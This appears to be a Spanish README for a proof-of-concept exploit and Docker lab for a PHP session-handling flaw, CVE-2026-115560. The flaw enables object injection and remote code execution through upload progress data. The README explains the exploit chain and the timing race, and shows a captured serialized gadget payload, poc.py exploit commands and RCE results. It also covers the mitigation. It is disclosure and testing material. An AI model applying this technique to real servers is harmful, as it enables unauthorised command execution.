
Prueba de concepto y laboratorio Docker para CVE-2026-115560: desajuste de serialize_handler en el progreso de carga de sesión PHP no autenticado que conduce a inyección de objetos y RCE.
Prueba de concepto de la vulnerabilidad de PHP sin parchear divulgada en el aviso informativo de php.net del 2026-10-23, dos días después de la versión de emergencia PHP2Shell (CVE-2026-109618 / -109619).
session.upload_progress.enabled=0php:8.4.27-apache (mod_php) — es decir, una compilación totalmente
parcheada para PHP2Shell sigue siendo vulnerable a este problemaLas tres deben cumplirse (php.net, 2026-10-23):
session.serialize_handler = php_binary o php_serialize en la configuración del servidorphp en tiempo de ejecución mediante
ini_set() antes de session_start()session.upload_progress.enabled = 1 (valor predeterminado de PHP)PHP-8.4El progreso de subida de sesión (ext/session, la callback rfc1867) se ejecuta antes de RINIT, antes de cualquier código de la aplicación:
| paso | origen | qué ocurre |
|---|---|---|
| escritura | php_session_rfc1867_callback → MULTIPART_EVENT_FILE_START → php_rinit_session(0) | PS(serializer) se resuelve desde el ini del servidor (php_serialize) |
| escritura | php_session_rfc1867_update() → php_session_flush(1) | el archivo de sesión se escribe inmediatamente, en formato php_serialize, conteniendo upload_progress_<value> como una clave de array sin procesar ni sanear — el valor del campo PHP_SESSION_UPLOAD_PROGRESS del atacante. ` |
| lectura | aplicación: ini_set('session.serialize_handler','php') → OnUpdateSerializer | reapunta PS(serializer) — permitido mientras la sesión no está activa |
| lectura | session_start() → PS_SERIALIZER_DECODE_FUNC(php) | el manejador php decodifica pares key|serialized y divide en el **primer ` |
| pop | PHP_VAR_UNSERIALIZE_DESTROY(var_hash) | se ejecuta tanto en la ruta de ÉXITO como en la de FALLO, por lo que el __destruct del gadget se dispara aunque la decodificación global devuelva FALLO (datos basura de sesión tras el payload) |
Archivo de sesión resultante (capturado a mitad de subida desde el laboratorio, docker exec):
a:1:{s:56:"upload_progress_|O:9:"LabGadget":1:{s:3:"cmd";s:2:"id";}";a:5:{s:10:"start_time";i:1792774742;…}}
^
the "php" handler splits here; everything after it is unserialize()d
Con el session.upload_progress.cleanup=1 predeterminado, MULTIPART_EVENT_END
elimina la clave de progreso cuando finaliza la carga — y todas las rutas de salida
del parseo llegan a fileupload_done: en main/rfc1867.c, por lo que un aborto del cliente no
ayuda. Por lo tanto, el payload reside en el archivo de sesión solo mientras la carga
está en curso. Dos hechos hacen que la carrera sea determinista en la práctica:
flock(LOCK_EX) solo alrededor de cada breve
ciclo de initialize→flush (php_session_flush(1) llama a s_close), por lo que
los lectores concurrentes no se bloquean durante la carga;post_max_size limita el tamaño, no la
duración), manteniendo la ventana abierta durante minutos si se desea.En el laboratorio: una carga de 2–4 MiB a 16 KiB/0,1–0,15 s da una ventana de 13–38 s; el consumidor gana después de ~3 s en cada ejecución.
El manejador MULTIPART_EVENT_FORMDATA de rfc1867 acepta PHPSESSID del
cuerpo del POST sin consultar session.use_only_cookies, por lo que el productor
no necesita cookie. (La solicitud del consumidor pasa por el session_start() normal,
que sí requiere la cookie bajo el use_only_cookies=1 predeterminado.)
lab/
├── Dockerfile php:8.4.27-apache + writable /var/www/html/p (proof drop dir)
├── docker-compose.yml
├── conf/99-vuln.ini php_serialize + upload_progress ON (PHP defaults restated)
├── conf/99-mitigated.ini same + session.upload_progress.enabled=0 (official mitigation)
└── src/
├── index.php vulnerable app: ini_set switch to "php" + session_start() + LabGadget
├── noswitch.php control endpoint: no switch → same handler read/write → harmless
└── info.php JSON dump of the relevant global ini values
LabGadget (una clase cuyo __destruct ejecuta shell_exec($this->cmd)) sustituye a cualquier clase gadget real alcanzable en el momento unserialize(); frente a una aplicación real, el gadget proviene de su árbol de dependencias (Monolog/Guzzle/…).
$ ./lab.sh up # vuln :8094, mitigated :8097 (builds image, waits for health)
$ python3 poc.py check --target http://127.0.0.1:8094
$ python3 poc.py exploit --target http://127.0.0.1:8094 --cmd "id"
$ ./lab.sh teardown # containers + volumes + image removed
| objetivo | esperado | resultado |
|---|---|---|
:8094/index.php (vulnerable) | RCE | ✅ uid=33(www-data)… en 3.3 s (1108 lecturas) — reproducido, 3.3 s de nuevo (1724 lecturas) |
:8097/index.php (mitigación upload_progress.enabled=0) | sin RCE | ✅ sin resultado (89459 lecturas) |
:8094/noswitch.php (sin interruptor en tiempo de ejecución) | sin RCE | ✅ sin resultado (82912 lecturas) |
Firma del lado del servidor en el objetivo vulnerable mientras el consumidor gana:
PHP Warning: session_start(): Failed to decode session object. Session has been destroyed in …/index.php on line 21
— la decodificación falla, pero el __destruct del objeto inyectado ya se ha ejecutado.
ini_set en tiempo de ejecución es inusual),
por lo que PHP lo está corrigiendo en el ciclo habitual — pero la combinación
de características está activada por defecto en el lado de escritura.session.upload_progress.enabled = 0 ; php.ini / FPM pool / server config — NOT ini_set()
luego reinicia todos los workers de PHP. Eficacia verificada por el control :8097 anterior.
PHP-8.4: ext/session/session.c (callback rfc1867, función de decodificación php, OnUpdateSerializer), main/rfc1867.c (fileupload_done)